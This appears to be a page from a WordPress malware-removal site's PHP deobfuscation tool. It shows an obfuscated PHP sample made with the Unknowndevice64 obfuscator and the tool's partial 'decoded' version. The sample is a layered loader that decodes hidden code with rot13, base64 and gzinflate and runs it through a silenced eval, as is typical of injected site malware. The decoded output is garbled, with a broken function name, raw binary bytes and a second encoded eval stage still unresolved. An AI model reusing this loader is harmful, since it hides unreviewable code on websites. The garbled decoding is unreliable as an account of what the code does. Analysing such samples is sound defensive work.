Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $i1i='======================================================================== Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator http://www.ud64.com/ =============================================================================='; $uD64_c0m="\163\164\x72\x5f\162\x6f\164"....



Obfuscated php code

<?php  $i1i='========================================================================   Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator                       
     http://www.ud64.com/ ==============================================================================';   $uD64_c0m="\163\164\x72\x5f\162\x6f\164"."13";$uD64_Com="\147\x7a\151\
x6e\x66\x6c\141\164\x65";$uD64_C0m="\142\x61\x73\14564\x5f\x64\x65\143o\144\145";$x0zRy=$uD64_Com($uD64_C0m($uD64_c0m("SMEWq6Z6SVE/HP8nqrmRKelSNFyObUxNf0gjjvNy4RPU4qp/raUC0q2cde66
2yFNOXrajvj5wf6Sqhs3IS077BnJXUZi1AKENX6WT17IWbVxTW39QYSjIZz4/85n+5k1iprD3VH7CLy5bOlNq25pn+l1XGmfeiSPMPNr+KeQkKMzWPt/EQD6fe/yFaBS7Wgdfolvz2Iq/H2prAWd/Poo4LghlEF5LXY60iS1qQxLPdJad41
xgh9/xuMBhE2KAZPFTZfjXxKuo1J24rpPUKbB8FIScESkJNyYX7dFx4e7IAiGHLXzbXv8Zy+Tbufaee3IhhGHQZw4bmUq/TPwxuMkbkA/+0wp9FUejb9veM4ZTT4JtYsqh7gqRp3etroz0zOsCyhVmOIBS6jiq2azxpA6Wyh1WeME2O6+Hy
Q9lROF1gVK1sKsPItvSL8mwfpIT6cGB3jDzUkSQejHeqw07wHQVBGg9WVMlx3Hw0eQKeEH8Ql8RUC5mPjlSxVtbGfY42gywbFgNTJ+CzFe51xjVLBPITgkS8QJGPqYTgZng2YO0AMMq7zmoM5AA5HZzc9Zyqpf6NrGK5oPOd2lc192Z43lP
Zc4xKLQSrzdK/tlHAeAh6UOK9B6B1heZj7ze3kq0dV7sWg2tudq+ulpwqthavU4z3MuYN35lplHc2e4XRlLJR8Wt/V1NHQfrKppau7l7GOF1G8yii6g1hgK/ax5v8/juypHPew7Rsxp7+jlLOMv3FCe5YgEc4x5GSB98NV12tY8DgP/iOsZ
4ITVGFoRIH+0Wp01UdkM53UK+Pt0VCy6rhGoxKS/8RMKK7DexklE2oEYYDT4cpU8zRKyTjfNh+66EKO8GwjO0dVC0vJQQpcX6VBaoK2HcadDyujY3K9mzXjZhX89f5TiMcDDcojYo0IKqKhTBysKtXCk7657b62I+M/jGHMwF5NAFrgNgeB
FepqHdSXxQi6x8EawQxxFGr8cCUufSxMOp5T2wR1o9raJMXoqJJ7AeugpIUQ4SYnfrqQ/pTvn1Ci31SpgIdQHez8GIKrWyLl2zOWUcgDgy8YfcsUvFYIxIzBTB3QYqsyXqf456afol1ru5dJVymdkMJGI/PQKxcyB2fm1W9jAGRsVMYc3Wx
Oi1cNWr1gt08EFA6y08WftprpXWoiha6FyWyqjjBdf+RMT2cRUiqXK3O7wDxfc1lUHbYmy0qjDn/ZfFe54HNHJ4fjRfP+P8cHUj5H7TyBGcSbqd9G2s/o/i6nzZJMAiA69bpNlnMVk36oRkxhrbFxa3FateKlKlfpZuXxSmMhX/NsMEW96z
JENHv4TztY5Eyfif3H8Z+fN3ohawn2jxu8R7S3qYZ0tdwCyMhoUimlDxYzj1SUjjkETdGX/99eBgVK7KGjqqg2CrbBA2udq2M11iome+CPqqaOYQMQ/pfqeZhK+vWH+D2iUzDoI2rm3PDB/G+JFqHcMqWAMqPgR26pxSx+8CqjcPNfQWdmu
wKOmmyH33EVo1wh3qIG/99//")));@eval($uD64_c0m('$k0xEm="MIKoogf4RC2IbhuQv7kDwh0xXNdfYMTcYdESpbnBQY8Hmd5fHdaGyIgqia7Uqv8C+2NL5CNZm5xmUY0oJYGcC70ST75dfJPT8n4L09plzsdIFT/GjJPEBYBBVlvth
0aUiIBQaQd/b7v+mqwFesNFGlE0eElKSU9rhCcISpWcgTjfemtxKUNkT3YEiuWBX/68yCM+lX/kc0g86NHXscVQ3cpUBGBj85aDW+ARSDq2Ztq2KlFlD9tE390cp0gGJZa0LJnyd9iZAcKvPeJ/4ScUhNXeJEy3bkYIJp+6jNfie6QYNnn+
iBcpS/nft01JSk37dj6dQ7e6cRq+hqqq7d0bY90Y8hSnW32gR6GUqsrdpiiZZGTseMH/5PRjMqKPWr6mpsYx6A7ltR3hwpippMVkoNchAzfVGD58oud+y2TwcB0nnoSGQo6F7eavbISB7yCYNz0mj3TDfBgKxRoFuwgQqInjnjes+gGgEuK
6QrRsZduhQpv5jsOQ2L2PWV1XglCqKIuQBapviPu8mcEspdEmTEWsZT6qBSst7fRW7dJKr+K5cUFYFR+JGwXmV33pRI8IVv2QwvmcYzA8fRCap8N2N7rEQHM26ASMoOKU76gD9poeS4Ow5PQ6bbXrFKQPPVkVq1/T+aGTy7QbZmOCcWhcjC
d8jK5AsWJqZwsjHE00+qNVFK2vVUlGbTeaf0sR9g4VmzDjFfXZT1rCWb6dSrW+sMv+TXumfA2xRWdcWZlcCcUlwaGKq9aVwjeVA9PZ6wOD3p/phO2mEkQ1DSbw0v1xje2lZaXADQznQFkV9jSs8kTQj3oZzXyXjAana57Vj7yx6OKKHD4aD
K53cUILrLCeERLeVC9gzXjTg1F2vmYUOjKAJsr9fgtbkVppcbk8w/DtPfWyqfGoNxXUV+4IIN+LHTHkmUQxH4a6IL36kHX4ZooKuGrvTA3wRjolT4ZHLMnEa4JiMfJMN9O9moWnZsVW5ZGn7bMpGrIV/OZqRSzaNi9KPExIKw0P8UfQYOGk
Evy631Xb5EeBsqX2FbFbCWwa3YqAEwtKry16b6wBY9GKmNKrlbM8FacUp2nvJCurObkVkjGqLaFPAnE7Vtq2FmvBb3Tycs4vidKLYTIPojMbCbUEEHm8LY+2HRKHe0qSeLnHA7sIDknmgiEd6Ho5yq7WJKrGtz4ILSrT3Fxs0jzv7dv2K2I
v1NbJxlsOwcc132EpEp7KR+G17/zxoR0qfitme6wR+FUg13UK5X5zBvj5mnz99ABzhhQZ+IlJQfsOpBcASgHe2Z00gNsA9H068VS0Zk3sQ9KCArxzi0kXp2AkzEhDsxf9mn0LK9qr/8DWJjMIJ3iW+93SDcELAENsQm/a3urSJs1x6/Z6Yj
9asfrW/Z1iWhjsKqadS46SbsDMi+DIoI4gwc/rsama2oNWa95hb+aggc//f41z821/A6s1wC4a22t+3sLm2c+s1/Fw9FH2i6Jmq7/JyBajBkBucuTqCzrporsm7n8p0+yy53/Li/7+8nI58/7Ayp37n6e37l5seN8sCam8Qj==";@riny(t
mvasyngr(onfr64_qrpbqr($k0xEm)));'));

Decoded(de-Obfuscated) php code

<?php

$i1i = '========================================================================   Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator                       
     http://www.ud64.com/ ==============================================================================';
$uD64_c0m = "str_rot13";
$uD64_Com = "gzi\\\r\nx6eflate";
$uD64_C0m = "base64_decode";
$x0zRy = gzi\
x6eflate("\25Iw:\24P/\32u^\1)Ay\0Kp %@?zqݩT\4,9΅vT];(s/\0\33^&\$\30\fpTɸZuǐ܅;=y\34wn\\k)<Bd \36zvf\$(?D4:Jsje]Mxj&n\24`ut9\30\nd\26N\354\300*EoU\2\35z\16%E\21qX\tK+TQ2_\33'պ\f1`\26q\23H!b\f\30n\26ݻ]\21`_>[\25N\27/wiz&[&Q\36RP@R\27\tX\"\253\25\33S;|\20|E\16\245\3 \31MԏJ^T<\20s,2\26B ;\vke\0e>dY0!Tkq\27L'K\32\32bYwmM7\fL,\7_\6_v3\10xv\3\25_2Pͻ_Ӻ;[3\16|]Ң;|v\32\34.!va,\r̔j(LXO\t5\1@yw\34\360R?%Wy9W\24\n\21\342`\26b#Q9LS\0025\2Bп\27QM&UO%5\36Yq(4 zzۑqFW_+\34ٴK-\1E\33\v\0Ep|N<\1Ң\17%\rJ胧m}z\34\vs\f=f\20\voEWu{:W׀{MFcK\rI@TR\16\31\16I\22M)<xl\26FAsM[dYnͮ\33\\Tp\24yphW-VԮo\23Uw\22G-HdVc;puJv9{\33W楈:ed גN'\rLGdw&@o֐\t{[`R7t q\n%&WpFFڑ\7җ\36BK)!Ԡ\20k,JxP\5\26\4/\7Õ;\32SZ\351fM޽2i1ߦK)')|\f\5͛\7Dzd@R.\6\2F[/u<3\0ݻ\37\4], 3fǿ<Q\24F2δ]<\35vݏz\32ٝuvpK\rrk2>CkǙ\6\t\3OuJYtYt+Dۧ\$\26O=)\10\v\3&psU7\22\33;uT");
@eval("\$x0kRz=\"ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu\r\n0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+\r\nvOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX\r\n6DeEfMqhuDci5wfBD2Y2CJI1KtyPdXVhDOncivCh8zpRfcqRzGRJfMG6dOFfg7sEJ7qWXe+X5pHSLSE+WTjKzI33cEV8VIi2DjizpLmN8sEPnc8A2A7eRDUZ26NFZbBXH76tQ9cbrF4Bj5CD6ooKeSXDCCIxId1/G+nTGl7DoMzBPpJupwP\r\nq8wX5NfJWdMjfwUR00+dAISX2iIHyToGrns0fE9t4IzmQwSsKMG1ePJo6qFeJ+fZi+GKhzsN2kEJqpJMypPpHyjnTXd9nIjwrIN9CM6jBQ3c/cuB2zRxD1QFoj0i1kwr2yMnKNQDmaDSxI9wFf8xGDw3bMmKlKwNnan57Iw7lk6BXXUQ4nQ\r\nX53pHVYeYPrREYrIP9tmKwGt1S2izLHBwXNWfe9stgoxIccpox8j/QgCsJldsTbAkKHI+4VVA+YUGUxzHDkU4n6VY36xUK4MbbXhTeiGN3jEwbyG4MUYZaRn4WvZsWZA9B9zbJaMfIJ5MTa7oZcTeVI/BMdEFmnAv9XCRkVXj0C8HsDLBTx\r\nRil631Ko5RrOfdK2SoSoPJjn3LdNRjgXel16o6jOL9TXzAXeyoZ8SnpHc2aiWPheBoxIxwTdYnSCNaR7Igd2SziOo3Glpf4ivqXYLGVCbwZoPoHRRUz8YL+2UEXUr0dFrYaUN7fVQxaztvRq6Ub5ld7JWXeTgm4VYFeG3Skf0wmi7qi2X2V\r\ni1AoWkyfBjpp132RcRc7XE+T17/mkbE0dsvgzr6jE+SHt13HX5K5mOiw5zam99NOmuuDM+VyWDsfBcOpNFtUr2M00tAfN9U068IF0Mx3fD9XPNekmv0xKc2NxmRuQfks9za0YX9de/8QJWwZVW3vJ+93FQpRYNRAfDz/n3heFWf1k6/M6Lw\r\n9nfseJ/M1vJuwfXdnqF46FofQZv+QVbV4tjp/efnzn2bAJn95uo+nttp//s41m821/N6f1jP4n22g+3fYz2p+f1/Sj9SU2v6Wzd7/WlOnwOxOhphGdPmecbefz7a8c0+ll53/Yv/7+8aV58/7Nlc37a6r37y5frA8fPnz8Dw==\";@eval(g\r\nzinflate(base64_decode(\$x0kRz)));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.